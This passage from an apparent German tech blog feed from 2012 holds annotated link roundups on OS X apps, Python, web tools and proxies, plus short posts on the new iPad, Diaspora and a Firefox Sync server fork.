<code>aircrack-ng</code>&#8216;s <span class="caps">STDIN</span>&nbsp;:-)</li> <li><a href="https://github.com/aziz/tmuxinator">tmuxinator</a> – <em>Create and manage tmux sessions&nbsp;easily.</em></li> <li><a href="https://github.com/remiprev/teamocil">Teamocil</a> – <em>Teamocil is a simple tool used to automatically create sessions, windows and splits in tmux with <span class="caps"><abbr title="YAML Ain't Markup Language">YAML</abbr></span> files.</em>&nbsp;Testen!</li> <li><a href="http://gpodder.org/downloads">gpodder</a> – ein Podcast-Client für diverse OSes, will man aber nicht händisch für <span class="caps">OS</span> X mit <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> kompilieren. Hier verlinkt, weil es einen netten <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Clienten&nbsp;hat.</li> </ul> Sun, 25 Mar 2012 22:13:00 GMT tag:blog.posativ.org,2012-03-26:/2012/linkschleuder-20 Linkschleuder #19 http://blog.posativ.org/2012/linkschleuder-19/ <p>Wieder eine dedizierte <span class="caps">OS</span> X Linkschleuder; aber nur weil es sonst zu unübersichtlich geworden wäre. Die nächste ist im Anflug: <a href="/2012/linkschleuder-20/">Linkschleuder #20</a>.</p> <h3>Äpps</h3> <ul> <li><a href="http://asepsis.binaryage.com/">Asepsis</a> – nein, keine neue Krankheit sondern eine Ausgliederung des Codes aus TotalFinder in einen Dämon, der die berühmten <code>.DS_Store</code>-Dateien ganz raffiniert in einen gesonderten Ordner umleitet.&nbsp;Must-have!</li> <li><a href="http://www.trankynam.com/xtrafinder/">XtraFinder</a> – ein recht neues, proprietäres Plugin für den Finder, das einige fehlende Funktionen im Finder nachrüstet, (via <a href="http://mycrobase.de/">cmur2</a>).</li> <li><a href="http://mouapp.com/">Mou</a> – <em>The missing Markdown editor for web developers</em>, ganz hübsch (via <a href="http://www.schockwellenreiter.de/blog/2012/02/17/peters-linkschleuder-96/">Schockwellenreiter</a>).</li> <li><a href="http://www.atpurpose.com/atMonitor/">atMonitor</a> – <em>Mac <span class="caps">OS</span> X System Monitor and Process Explorer Tool</em> (frei wie&nbsp;Freibier).</li> <li><a href="http://reggyapp.com/">Reggy</a> – eine sinnlose, aber freie Software um Reguläre Ausdrücke diverser Sprachen in einer schicken <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> zu&nbsp;testen.</li> <li><a href="http://www.hanynet.com/waterroof/">Waterroof</a> – ein grafisches Frontend zur Firewall von <span class="caps">OS</span> X, <a href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/firewalls-ipfw.html"><span class="caps">IPFW</span></a>, (frei wie&nbsp;Freibier).</li> <li><a href="http://wineskin.doh123.com/">Wineskin</a> – yet another Wine-Manager für <span class="caps">OS</span> X mit aktuell Wine 1.4, der für jedes Windows-Programm eine extra Weinflasche herunterlädt und verschließt. Das geringste Übel unter den restlichen Bundlern und <code>wine</code> selbst.</li> <li><a href="http://inductionapp.com/">induction</a> – ein open-source <span class="caps"><abbr title="Structured Query Language">SQL</abbr></span>/NoSQL Database Client für <span class="caps">OS</span> X.&nbsp;Testen!</li> </ul> <h3>Developer-Tools</h3> <ul> <li><a href="https://github.com/mxcl/homebrew/wiki/Homebrew-0.9">Homebrew 0.9</a> – der <em>missing package manager for <span class="caps">OS</span> X</em> hat einen Meilenstein geschafft und supported nun auf einfache Art und Weise andere Repositories, was gegen die teilweise <em>sehr</em> kompromisslosen Formula-Policy doch ganz nützlich&nbsp;erscheint.</li> <li><a href="http://macdevelopertips.com/xcode/how-to-uninstall-xcode.html">How to uninstall Xcode</a> – und danach gleich den <a href="http://kennethreitz.com/xcode-gcc-and-homebrew.html"><span class="caps">OSX</span>-<span class="caps">GCC</span>-Installer</a> rauf (via <a href="http://hugo.rfc1437.de/2012/02/16/mac-developer-tips-how-to-uninstall-xcode/">rfc1437</a>).</li> <li><a href="http://hackage.haskell.org/platform/">The Haskell Platform</a> – fertige Binary für den <a href="https://en.wikipedia.org/wiki/Glasgow_Haskell_Compiler"><span class="caps">GHC</span></a> samt Paketmanager <a href="http://www.haskell.org/cabal/">Cabal</a>. Praktisch, wenn mit <a href="https://github.com/mxcl/homebrew">Homebrew</a> das Bauen (nahezu immer)&nbsp;failt.</li> <li><a href="https://github.com/ryankee/growly">Growly</a> – schickt den <span class="caps"><abbr title="standard output">STDOUT</abbr></span> von bsw. <code>ls -F</code> direkt an&nbsp;Growl.</li> <li><a href="https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard">tmux unter <span class="caps">OS</span> X</a> – <code>pbcopy</code> und <code>pbpaste</code> im <code>tmux</code> wiederherstellen.</li> </ul> <h3>Misc</h3> <ul> <li><a href="http://www.schubert-it.com/pluginpdf/"><span class="caps">PDF</span> Browser Plugin</a> – damit soll wohl Preview bzw. dessen Quartz-Komponente PDFs in Firefox und Co darstellen&nbsp;können.</li> <li><a href="http://www.zipfelmaus.com/blog/my-tool-belt/"><span class="caps">OS</span> X Tool Belt</a> – aus Sicht eines&nbsp;Web-Entwicklers.</li> <li><a href="http://bubonicpestilence.ru/post/564587053/traffic-shaping-at-mac-os-x">Traffic Shaping at Mac <span class="caps">OS</span> X</a> – vielleicht taugt das was als <a href="http://monkey.org/~marius/pages/?page=trickle">trickle</a>-Ersatz.</li> <li><a href="http://www.andrewwatters.com/privoxy/">Privoxy unter Lion</a> – mit Komplett-Anleitung und <code>launchd</code>-Integration.</li> <li><a href="http://joemiller.me/2011/05/24/alternative-skins-for-skype-5-on-mac-osx/">Alternative Skins für Skype 5</a> – weil die Skype <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> wirklich scheiße ist, haben die Entwickler wohlweißlich <span class="caps">CSS</span>-Support eingebaut (via <a href="http://mycrobase.de/">cmur2</a>).</li> </ul> Sun, 25 Mar 2012 22:02:00 GMT tag:blog.posativ.org,2012-03-26:/2012/linkschleuder-19 Das neue schlechte iPad http://blog.posativ.org/2012/das-neue-schlechte-ipad/ <p>Seit ein paar Tagen ist ja wieder das <em>neue</em> iPad (formerly known as iPad 3) ein Hype, dabei hat es das dieses Mal nicht verdient. Dass das iPad damals™ visionär war, müssen auch Fandroids einsehen, das iPad 2 ist ebenso ein exzellentes Produkt. Aber was ist das neue iPad? Das ist ein Stück <del>Scheiße</del> <a href="https://www.apple.com/de/ipad/specs/">Beta-Hardware</a>:</p> <ul> <li>wird warm (36 °C und wir haben noch nicht Hochsommer), sprich über Körpertemperatur &#8211; ein absolutes No Go! Wie kann Apple denn wieder dengleichen Fehler wie beim iPad 1&nbsp;machen?</li> <li>das Display mit einer höheren Auflösung als mein Macbook Pro, das ist schön und gut aber ich weiß inzwischen nicht mehr, was für Apple ein Pro-Nutzer&nbsp;ist.</li> <li>der Prozessor/Quadcore-Grafik (was für&#8217;n Marketing-Witz) bringt nicht die vierfache Leistung um das neue Display mit der gleichen Leistung wie das iPad 2&nbsp;anzusteuern.</li> <li>Safari, Wake Up und <span class="caps">PDF</span>-Ansicht ist <em>langsamer</em> geworden. <span class="caps">HALLO</span>? Sowas verkauft Apple als Neuheit? Das es <em>langsamer</em> geworden&nbsp;ist?</li> <li>Das Teil hat einen größeren Akku als das Macbook Air 11&#8221; (42,5 Wh versus 35 Wh), doppelt so viel wie das vorherige iPad und erreicht dennoch nur die gleiche oder schlechtere (mit nicht unterstützdem <span class="caps">LTE</span> in Deutschland++) Laufzeit. Mit diesem Akku + 60 Gramm mehr Gewicht (das ist nicht soo störend finde ich) hätte man das alte iPad locker 20, in Zahlen <span class="caps">ZWANZIG</span> Stunden laufen lassen können. <em>Das</em> wäre eine&nbsp;Neuheit!</li> <li>Sieben Stunden Zeit zum Akku Aufladen.&nbsp;<span class="caps">SRSLY</span>?</li> </ul> <p>Ich hatte ja wirklich überlegt, aber nach ein <a href="http://www.heise.de/mac-and-i/artikel/foren/S-Angetestet-Das-neue-iPad/forum-224221/list/">paar Recherchen im Internetz</a> warte ich doch lieber auf ein späteres neues iPad, das zumindest nichts schlechter macht als das iPad 2. Zumal es im Apple Education Store keinen Rabatt auf das iPad gibt. Apple, das war eine ganz schwache&nbsp;Leistung!</p> <p>Aber natürlich ist Apple auf ihre Art <del>revolutionär</del> neu, denn die Konkurrenz muss jetzt erst einmal auf ein Software Update von Google hoffen ehe sie ihre Hardware ausbauen, was dann zu einer noch größeren Fragmentierung der Android-Gemeinde führt und in einen weiteren verbissenen K(r)ampf zwischen Fanboys und Fandroids&nbsp;m)</p> Sun, 18 Mar 2012 19:33:00 GMT tag:blog.posativ.org,2012-03-18:/2012/das-neue-schlechte-ipad Linkschleuder #18 http://blog.posativ.org/2012/linkschleuder-18/ <p>Oh weh, die Linkschleuder wird mein zunehmend mein primärer Inhalt hier. Immerhin hörte ich, es ist für manche von Nutzen. Hier eine gesammelte Ausgabe mit Links zu Python, Web-Zeugs und&nbsp;anderem.</p> <h4>Python</h4> <ul> <li><a href="https://github.com/devstructure/blueprint">Blueprint</a> – &#8220;reverse-engineers servers&#8221; ähnlich wie <a href="http://projects.puppetlabs.com/projects/puppet">puppet</a>.</li> <li><a href="https://github.com/jkbr/httpie">httpie</a> – ein &#8220;cURL for humans&#8221;, sprich curl mit Syntax-Highlighting und automatischem Code-Indent bei <span class="caps">HTML</span>/<span class="caps">JS</span> für die Shell (via <a href="http://thechangelog.com/post/18437352843/httpie-python-powered-http-cli-for-humans">The Changelog</a>).</li> <li><a href="https://github.com/kennethreitz/sshout">SSHout</a> – zum einfachen Sharen einer&nbsp;<span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Session.</li> <li><a href="https://github.com/sampsyo/beets">Beets</a> – hatte ich zwar <a href="http://blog.posativ.org/2011/meine-mp3-toolchain/">schon mal</a>, aber ist immer noch ein klasse <a href="http://musicbrainz.org/doc/MusicBrainz_Picard">Picard</a> Ersatz, der <em>alles</em> beim Import von Musik&nbsp;automatisiert.</li> <li><a href="https://github.com/amoffat/pbs"><span class="caps">PBS</span></a> – ein Python Wrapper für die üblichen Shell-Befehle wie z.B. <code>ifconfig("eth0")</code>.</li> <li><a href="https://github.com/kennethreitz/showme">ShowMe</a> – ein schnelles und einfaches Tool für simples Debugging in Python, indem man Decorators auf die zu betrachtende Funktion legt. Ist bunt und in&nbsp;Farbe!1</li> <li><a href="http://docs.python.org/library/ast.html">The <span class="caps">AST</span> Module</a> – <a href="http://blueprintforge.com/blog/2012/02/27/static-modification-of-python-with-python-the-ast-module/">Static Modification of Python With Python</a>.</li> <li><a href="http://raj.blog.archive.org/2012/02/02/installing-ipython-notebook-to-replace-matlab/">Installing ipython notebook to replace matlab</a> – Wer das noch nicht kennt, <code>ipython notebook</code> ist ein Qt-Tool ähnlich wie Matlab und das gibt&#8217;s jetzt auch für als <span class="caps">HTML5</span>+Websockets im Browser und rockt richtig. Allerdings ist es äußerst schwer das from scratch zu installieren, lieber ein Ubuntu mit <code>apt-get build-deps ipython</code> nehmen, spart einige Stunden&nbsp;Failen.</li> </ul> <h4>Web</h4> <ul> <li><a href="http://convergence.io/">convergence</a> – &#8220;an agile, distributed and secure strategy for replacing Certificate Authorities&#8221; mit Firefox Plugin. Alternative zum <span class="caps"><abbr title="Single Point of Failure">SPOF</abbr></span>-Tool <a href="https://www.eff.org/https-everywhere"><span class="caps">HTTPS</span> Everywhere</a> der&nbsp;<span class="caps">EFF</span>.</li> <li><a href="http://pipes.yahoo.com/pipes/">pipes</a> – das Projekt von Yahoo zum Aggregieren von <a href="http://neusprech.org/content/">Content</a>, steht hier nur für&#8217;s Archiv, ich habe meine Pipes in Ruby nachgebaut für mehr Flexibilität und&nbsp;Features.</li> <li><a href="http://www.aaronsw.com/2002/html2text/">HTML2Text</a> – ein in Python geschriebenes Skript, das <span class="caps">HTML</span> wieder zurück in Markdown-kompatiblen Text&nbsp;konvertiert.</li> <li><a href="http://web2py.com/examples/static/markmin.html">Markmin</a> – <em>noch</em> eine Markup-Language, die viel Syntax von Markdown übernimmt, aber auch neue einführt. Kann immerhin&nbsp;Image-Attribute.</li> <li><a href="http://httparchive.org/"><span class="caps">HTTP</span> Archive</a> – <em>The <span class="caps">HTTP</span> Archive tracks how the Web is&nbsp;built.</em></li> <li><a href="http://eloquentjavascript.net/">Eloquent JavaScript</a> – <em>A Modern Introduction to&nbsp;Programming.</em></li> <li><a href="https://developer.mozilla.org/en/JavaScript/A_re-introduction_to_JavaScript">JavaScript</a> – <em>A re-introduction to JavaScript</em> von&nbsp;Mozilla.</li> <li><a href="http://www.schockwellenreiter.de/blog/2012/02/10/data-driven-documents-d3/">Data Driven Documents (D3)</a> – Daten manipulieren und visualisieren in&nbsp;JavaScript.</li> <li><a href="https://github.com/diveintomark">DiveIntoMark</a> – ein Mirror von Mark Pilgrims Projekten wie <a href="http://diveintohtml5.org/">Dive Into <span class="caps">HTML5</span></a>, <a href="http://diveintopython.org/">Dive Into Python</a> und <a href="http://diveintopython3.org/">Dive Into Python 3</a>, die seiner <a href="http://www.hanselman.com/blog/410GoneThoughtsOnMarkDiveintomarkPilgrimsAndWhysInfosuicides.aspx">informationellen Selbstzerstörung</a> zum Opfer fielen. Leider ist sein überaus informatives Blog nicht dabei, das z.B. den <a href="http://web.archive.org/web/20110514113830/http://diveintomark.org/archives/2004/05/28/howto-atom-id">Einsatz und Hintergrund von Permanent-Links</a> in Atom-Feeds&nbsp;erklärt.</li> </ul> <h4>Misc</h4> <ul> <li><a href="http://blog.doodle.com/doodle-unplugged/">Doodle Unplugged</a> – das neuste Tool von Doodle zur Terminvereinbarung&nbsp;:-)</li> <li><a href="http://projecteuler.net/">Project Euler</a> – eine Serie von Mathematik/Informatik Aufgaben, die immer schwerer werden. <br /> <a href="https://projecteuler.net/problem=1">Problem 1</a>:<br /> <blockquote> <p>If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.<br /> Find the sum of all the multiples of 3 or 5 below&nbsp;1000.</p> </blockquote> </li> <li><a href="http://www.therestartpage.com/">The Restart Page</a> – Free unlimited rebooting experience from vintage operating&nbsp;systems!</li> <li><a href="http://chakra-linux.org/">Chakra Linux</a> – ein Arch Linux Fork mit Fokus auf <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>-Integration, ist zur Zeit mein Desktop&nbsp;Linux.</li> <li><a href="http://www.android-x86.org/">Android-x86</a> – <em>Run Android on Your <span class="caps">PC</span></em> (inklusive Ice Cream&nbsp;Sandwich).</li> <li><a href="https://grenouillebouillie.wordpress.com/2012/03/01/apple-started-decaying-before-steve-jobs-death/">Apple started decaying before Steve Jobs’ death</a> – ein kleiner, aber sehr feiner Rant über die Software Politik von Apple am Beispiel von <del>Mac</del> <span class="caps">OS</span>&nbsp;X.</li> <li><a href="http://speirs.org/blog/2012/3/6/we-need-to-talk-about-android.html">We Need to Talk About Android </a> – Auch ein lesenswerter&nbsp;Rant.</li> </ul> Fri, 16 Mar 2012 09:56:00 GMT tag:blog.posativ.org,2012-03-16:/2012/linkschleuder-18 Linkschleuder #17 http://blog.posativ.org/2012/linkschleuder-17/ <p>Heute über ad-blocking <span class="caps">HTTP</span>-Proxies, Man-in-the-Middle-Proxies und <span class="caps">SSL</span>-über-<span class="caps">HTTP</span>-Proxies. Proxies, Proxies,&nbsp;Proxies.</p> <ul> <li><a href="http://www.freebsdwiki.net/index.php/Polipo">Polipo</a> – a caching web proxy, hatte ich <a href="http://blog.posativ.org/2012/polipo-a-caching-web-proxy/">hier schon</a>, kann auch Werbung blocken, indem z.B. die <a href="https://easylist.adblockplus.org/de/">Easylist</a> in ein <code>/etc/polipo/forbidden</code>-taugliches Format umgewandelt wird. <a href="http://rightfootin.blogspot.com/2009/11/ad-blocking-with-polipo.html">Hier steht</a> wie es ginge (es geht aber mit den aktuellen Easylists (partiell) nicht mehr, da müsste jemand ran, und polipo-unverträgliche Ausdrücke entfernen/kompatibel&nbsp;machen).</li> <li><a href="http://bfilter.sourceforge.net/index.php">bfilter</a> – a filtering web proxy für <span class="caps">HTTP</span> Kompression, built-in JavaScript Engine, heuristischer Flash-Analyzer und on-the-fly processing. Vielleicht lässt sich dieser mit den Easylists&nbsp;erweitern.</li> <li><a href="http://mitmproxy.org/">mitm</a> – an <span class="caps">SSL</span>-capable man-in-the-middle proxy, mit dem man unter anderem den <a href="http://www.heise.de/security/meldung/Auch-Twitter-Foursquare-und-Foodspotting-uebertragen-Adressbuch-an-Hersteller-1435069.html">Adressbuch-Klau bei Path und Twitter</a> unter iOS sehen&nbsp;konnte.</li> <li><a href="http://www.thoughtcrime.org/software/sslsniff/">sslsniff</a> – wie <a href="http://mitmproxy.org/">mitm</a> ein man-in-the-middle Proxy, der on-the-fly <span class="caps">SSL</span> Zertifikate erstellt und allen Traffic im <span class="caps">LAN</span>&nbsp;abhört.</li> <li><a href="http://monkey.org/~marius/pages/?page=trickle">trickle</a> – a lightweight userspace bandwith shaper für *<span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span> und Linux, leider aber nicht für Darwin/<span class="caps">OS</span>&nbsp;X.</li> <li><a href="http://www.mtu.net/~engstrom/ssh-proxy.php">corkscrew</a> – Tunneling <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> over an <span class="caps">HTTP</span>-Proxy Server, falls man mal in die Bedrängnis kommt (oder <span class="caps">SSL</span> mit polipo cachen will ;-) (via <a href="http://claw.triple6.org/linux/ssh-verbindung-uber-einen-proxyserver/">/home/claw</a>).</li> <li><a href="http://www.dextronet.com/micro-isv-insights/2012/01/30-books-everyone-in-software-business-should-read-and-why/">30 books everyone in software business should read (and why)</a> – geblogmarkt, man weiß ja nie (via <a href="http://www.zipfelmaus.com/blog/last-weeks-top-5-links/">Zipfelmaus</a>).</li> </ul> Mon, 20 Feb 2012 14:11:00 GMT tag:blog.posativ.org,2012-02-20:/2012/linkschleuder-17 DIASPORA* http://blog.posativ.org/2012/diaspora/ <p>Letzte Woche gab&#8217;s im <a href="http://hackspace-jena.de/wiki/doku.php/raum:start">lokalen Hackerspace</a> eine kurze Einführung in das <em>&#8220;ja-hab-ich-mal-von-gehört&#8221;</em>-Projekt:&nbsp;<a href="http://diasporaproject.org/"><span class="caps">DIASPORA</span>*</a>. Diaspora ist der Versuch, Facebook/Google+ dezentral mit einer quelloffenen Software aufzubauen. Das Projekt wird demnächst zwei Jahre alt und ist immer noch im Alpha-Stadium, obwohl zunächst <a href="http://blog.diasporafoundation.org/2010/04/14/kickstarter-pitch.html">angekündigt</a> wurde, innerhalb von drei Monaten fertig zu&nbsp;sein.</p> <h3>Funktionsweise</h3> <p>Bei Diaspora heißen die einzelnen dezentralen Server <em>Pods</em> und sind komplett eigenständige Instanzen, die keine zentralen Knoten benötigen. Als anschauliches Beispiel nehme ich &#8216;mal <a href="https://jenaspora.de/">jenaspora.de</a> und den offiziellen Pod <a href="https://joindiaspora.com/">joindiaspora.com</a>. Die Nutzer aus Jena können auf diesem Pod ohne Umwege über <em>joindiaspora.com</em> kommunizieren und fällt dieser aus, kümmert das niemanden. Wenn sich ein Freund von mir nun auf <em>joindiaspora.com</em> angemeldet hat, ich aber auf <em>jenaspora.de</em> verweile, so gibt es nun eine Anfrage über das <a href="https://en.wikipedia.org/wiki/Webfinger">webfinger-Protokoll</a>, ob die Nutzerkennung <code>userid@domain.tld</code> auf dem jeweiligen Host vorhanden ist und falls ja, merkt sich <em>joindiaspora.com</em> diese&nbsp;Verbindung.</p> <p>Sollte nun ein Nutzer aus <em>jenaspora.de</em> in seinem Posting über die Aspekte (das ist das Zirkel-pendant zu Google+) den Nutzer vom anderen Pod mitadressiert haben, so wird <em>jenaspora.de</em> den Host, in diesem Fall <em>joindiaspora.com</em> pushen. So läuft das mit Posts, Kommentaren und privaten Nachrichten. Eine Besonderheit von Diaspora ist noch die verschlüsselte Kommunikation zwischen den Pods über ein Public-Key-Verfahren, das auch über eine <span class="caps">SSL</span>-Verbindung läuft. Innerhalb von Pod ist allerdings alles&nbsp;unverschlüsselt.</p> <p>Einen <a href="https://github.com/diaspora/diaspora/wiki/Installing-and-Running-Diaspora">eigenen Pod aufzusetzen</a> ist allerdings etwas schwierig, da manchmal der <a href="https://github.com/diaspora/diaspora">Hauptentwicklungszweig</a> manchmal bricht und ein exaktes Setup von Nöten ist: Ruby on Rails mit Ruby am besten in Version 1.9, MySQL oder PostgreSQL und eine Domain samt gültigem <span class="caps">SSL</span>-Zertifikat (wünschenswert). Dazu kommt eine halbwegs aktuelle Linux-Distribution und viel Zeit zum Konfigurieren und Testen, ob die Kommunikation zwischen den einzelnen Pods funktioniert. Aber einmal aufgesetzt, läuft es&nbsp;stabil.</p> <h3>Alpha-Stadium</h3> <p><a href="http://diasporaproject.org/">Diaspora</a> ist wirklich noch alpha, das beweist nicht nur die Entwicklungsstrategie. Es gibt noch eine Menge gewollter und ungewollter&nbsp;Ungereimtheiten:</p> <ul> <li><a href="https://joindiaspora.com/">joindiaspora.com</a> ist überlastet und ein single-point-of-failure, der theoretisch nie existieren&nbsp;sollte.</li> <li>Nutzerdaten liegen für jeden Podbesitzer im Klartext in der Datenbank (wenn auch nicht an einem zentralen&nbsp;Ort).</li> <li>keine federation, d.h. wenn ein Pod wegen Wartungsarbeiten offline ist, gehen Nachrichten unwideruflich&nbsp;verloren!</li> <li>umständliches Setup, Ruby on Rails <del>ist scheiße</del> skaliert nicht gut, siehe&nbsp;#1.</li> <li>Amazon S3-Anbindung, da <em>joindiaspora.com</em> überlastet ist – Widerspruch zur&nbsp;Dezentralität.</li> <li>Entwicklungsschwerpunkt liegt bei <a href="https://joindiaspora.com/">joindiaspora</a>, was kontraproduktiv&nbsp;ist.</li> <li>offizielle Zertifikate von StartSSL, wenn man nicht Debian fährt, wo auch <a href="http://cacert.org/">CAcert</a> integriert ist, sonst wird die Verbindung&nbsp;verweigert.</li> <li>läuft nicht auf <span class="caps">WLAN</span>-Routern, da Minimum 256 <span class="caps">MB</span> <span class="caps">RAM</span> benötigt&nbsp;werden.</li> </ul> <p>Ich bin sozialen Netzen zwar inzwischen sehr abgeneigt, aber Diaspora könnte wirklich eine gute Alternative zum Mainstream-Facebook/Google+ werden. Ich bin gespannt auf das fertige&nbsp;System.</p> Sun, 19 Feb 2012 21:27:00 GMT tag:blog.posativ.org,2012-02-19:/2012/diaspora weave-minimal Update http://blog.posativ.org/2012/weave-minimal-update/ <p>Ich habe heute wieder etwas an meinem <a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a>-Fork <a href="https://github.com/posativ/weave-minimal"><code>weave-minimal</code></a> gebastelt und habe es geschafft, die Registrierung direkt im Firefox zu ermöglichen. Der alternative Weg über die <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span> mit erweitertem Nutzernamen-Spektrum existiert natürlich weiterhin.&nbsp;Änderungskatalog:</p> <ul> <li>direkte Registrierung im&nbsp;<span class="caps">FF</span></li> <li>rudimentärer <code>/misc/1.0/captcha_html</code>-Support (d.h. ohne reellen&nbsp;Nutzen)</li> <li>mehr&nbsp;standard-konform</li> <li>offene Registrierung per Default, einfach <code>ENABLE_REGISTER</code> auf <code>False</code> setzen</li> </ul> <h3>Spielwiese</h3> <p>Unter <code>https://posativ.org/weave/</code> läuft ein Sync-Server mit einer offenen Registrierung; wer mir also vertraut (Passwort wird gesalzen als truncated sha1-Hash gespeichert) oder einfach nur Testen will, ob mein Server was taugt – benötigt allerdings <a href="http://www.cacert.org/index.php?id=3">CAcert-Vertrauen</a>, ist hier gerne&nbsp;willkommen.</p> Sat, 18 Feb 2012 21:41:00 GMT tag:blog.posativ.org,2012-02-18:/2012/weave-minimal-update Linkschleuder #16 http://blog.posativ.org/2012/linkschleuder-16/ <ul> <li><a href="https://code.google.com/p/zen-coding/">Zen Coding</a> – <em>a new way of writing <span class="caps">HTML</span> and <span class="caps">CSS</span> code</em>, <a href="https://bitbucket.org/wbond/sublime-2-zencoding">Sublime Text 2&nbsp;Plugin</a></li> <li><a href="https://github.com/apenwarr/sshuttle">sshuttle</a> – transparenter Proxy trifft <span class="caps">VPN</span>, ohne viel basteln und ärgern. Einfach&nbsp;<span class="caps"><abbr title="Secure Shell">SSH</abbr></span>.</li> <li><a href="http://ziproxy.sourceforge.net/">Ziproxy</a> – ein zippender Proxy, der allerdings nicht alle externen Quellen in eine Datei packt. Dann wäre es für&#8217;s Handy praktisch&nbsp;gewesen.</li> <li><a href="http://thechangelog.com/post/16464262046/gitfinger-finger-github-users-from-the-command-line">gitfinger</a> – Stalking auf&nbsp;GitHub.</li> <li><a href="http://python-for-humans.heroku.com/">python for humans</a> – ein sehr witziger Rant über Python und was die Community besser machen&nbsp;kann.</li> <li><a href="http://blog.ezyang.com/2011/11/how-to-read-haskell/">How to read Haskell like&nbsp;Python</a></li> <li><a href="http://crate.io/">crate.io</a> – ein PyPi-Mirror, der quelloffen ist und mehr Features bietet als <a href="http://pypi.python.org/pypi">PyPi</a>.</li> <li><a href="http://www.merproject.org/">mer</a> – eine offene, optimiert für Mobilgeräte, Distribution á la <a href="https://www.meego.com/">MeeGo</a> mit Fokus auf Qt und&nbsp;<span class="caps">HTML5</span>.</li> <li><a href="http://plasma-active.org/">plasma active</a> – ein <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span> Projekt für Tablets und Mobilgeräte, der doch schon etwas besser als Android aussieht. Ein weiterer Beweis, dass <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span> verdammt modular&nbsp;ist.</li> <li><a href="http://goaccess.prosoftcorp.com/">goaccess</a> – ein (Apache) Common Logfile Reader. Mit ncurses (!) und für große Bildschirme optimiert! <a href="http://blog.posativ.org/img/2012/goaccess.png">Beispiel</a>?</li> <li><a href="http://shop.oreilly.com/product/0636920022473.do"><span class="caps">HTML5</span> for Publishers</a> – kostenlos in <span class="caps">PDF</span>, epub und Mobi (auch für <a href="http://www.schockwellenreiter.de/blog/2012/01/23/kostenlose-ebooks-uber-ebooks/">Kindle</a>) nach&nbsp;Registrierung</li> </ul> Fri, 03 Feb 2012 09:34:00 GMT tag:blog.posativ.org,2012-02-03:/2012/linkschleuder-16 Linkschleuder #15 http://blog.posativ.org/2012/linkschleuder-15/ <p>Diesmal etwas *hust* sehr *hust*&nbsp;Mac-lastig.</p> <ul> <li><a href="http://www.aramzamzam.net/nativa/">Nativa</a> – <em>der</em> Client für <a href="http://libtorrent.rakshasa.no/">rtorrent</a>&nbsp;schlechthin.</li> <li><a href="http://chipmunkninja.com/Tunneler">TunnelerX</a> – und der Vorgänger <a href="http://www.chipmunkninja.com/Tunneler-0.9---An-SSH-1g@">Tunneler</a>, der ein Icon in die Leiste setzt, um ad-hoc einen <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Tunnel&nbsp;aufzubauen.</li> <li><a href="http://d.hatena.ne.jp/os0x/20100612/1276330696">NinjaKit</a> – GreaseMonkey für&nbsp;Safari.</li> <li><a href="http://mplayerx.org/">MplayerX</a> – eine Art <span class="caps">VLC</span> nur in hübsch (und&nbsp;funktionaler).</li> <li><a href="http://www.postbox-inc.com/">Postbox</a> – ein kommerzieller Mozilla Thunderbird Fork, der einfach nur etwas mehr Mac-<span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> hat. Nicht&nbsp;empfehlenswert.</li> <li><a href="http://www.lynapp.com/">Lyn</a> – möchte eine leichtgewichtige iPhoto-Alternative&nbsp;sein.</li> <li><a href="http://homepage.mac.com/nsekine/SYW/software/english/miniusage/index.html">MiniUsage</a> – zeigt diverse (unzählig viele) Statusinformationen leicht zugänglich per Dropdown-Menü in der Leiste&nbsp;an.</li> <li><a href="http://www.macdentro.com/MacDentro/Home.html">MacDentro</a> – <span class="caps">OS</span> X Wartungstool, das die <span class="caps">UNIX</span>-Dienste und -Interna aufräumt (cronjobs laufen, etc. pp.). Gibt&#8217;s auch in hübsch und kommerziell: <a href="http://www.maintain.se/cocktail">Cocktail.app</a>.</li> <li><a href="http://www.enqueueapp.com/">Enqueue</a> – eine leichtgewichtige iTunes-Alternative. Klare Empfehlung von&nbsp;mir!</li> <li><a href="http://www.bean-osx.com/Bean.html">Bean</a> – eine Textverarbeitung für <span class="caps">OS</span> X. Hilfreich, wenn man auf Pages/Open|LibreOffice verzichten&nbsp;möchte.</li> <li><a href="http://www.sourcetreeapp.com/">SourceTree</a> – kostenloser Client für Mercurial und Git mit Integration von <a href="https://github.com/">github.com</a> und <a href="https://bitbucket.org/">bitbucket.org</a>. Erfordert nach einem Monat eine kostenlose&nbsp;Registrierung.</li> <li><a href="http://www.inkcode.net/qute">Qute</a> – ein ziemlich hübscher Editor für <a href="http://daringfireball.net/projects/markdown/">Markdown</a>; gibt&#8217;s auch für&nbsp;<span class="caps">PC</span>.</li> <li><a href="http://tm2tips.tumblr.com/">TextMate 2 Tips</a> – ein Blog über das aufkommende TextMate 2. Unabhängig davon gibt es auch ein <a href="http://www.matewiki.com/index.php?title=Main_Page">MateWiki</a>.</li> </ul> Thu, 02 Feb 2012 20:56:00 GMT tag:blog.posativ.org,2012-02-02:/2012/linkschleuder-15 polipo – a caching web proxy http://blog.posativ.org/2012/polipo-a-caching-web-proxy/ <p>In den zwei vergangenen Wochen habe ich viel mit Proxy-Techniken rumgespielt. Anfangs noch ein <a href="https://de.wikipedia.org/wiki/SOCKS">SOCKSv5</a> über <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> getunnelt, über direkte <span class="caps">HTTP</span> Authentifizierung mit <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a> und <a href="http://privoxy.org/">Privoxy</a> im Chaining auf einem 128 MiB <span class="caps">RAM</span> <a href="http://edis.ch/">Host in der Schweiz</a>. Leider entsprach das nicht direkt meinem Wunsch, den Verkehr bis zum 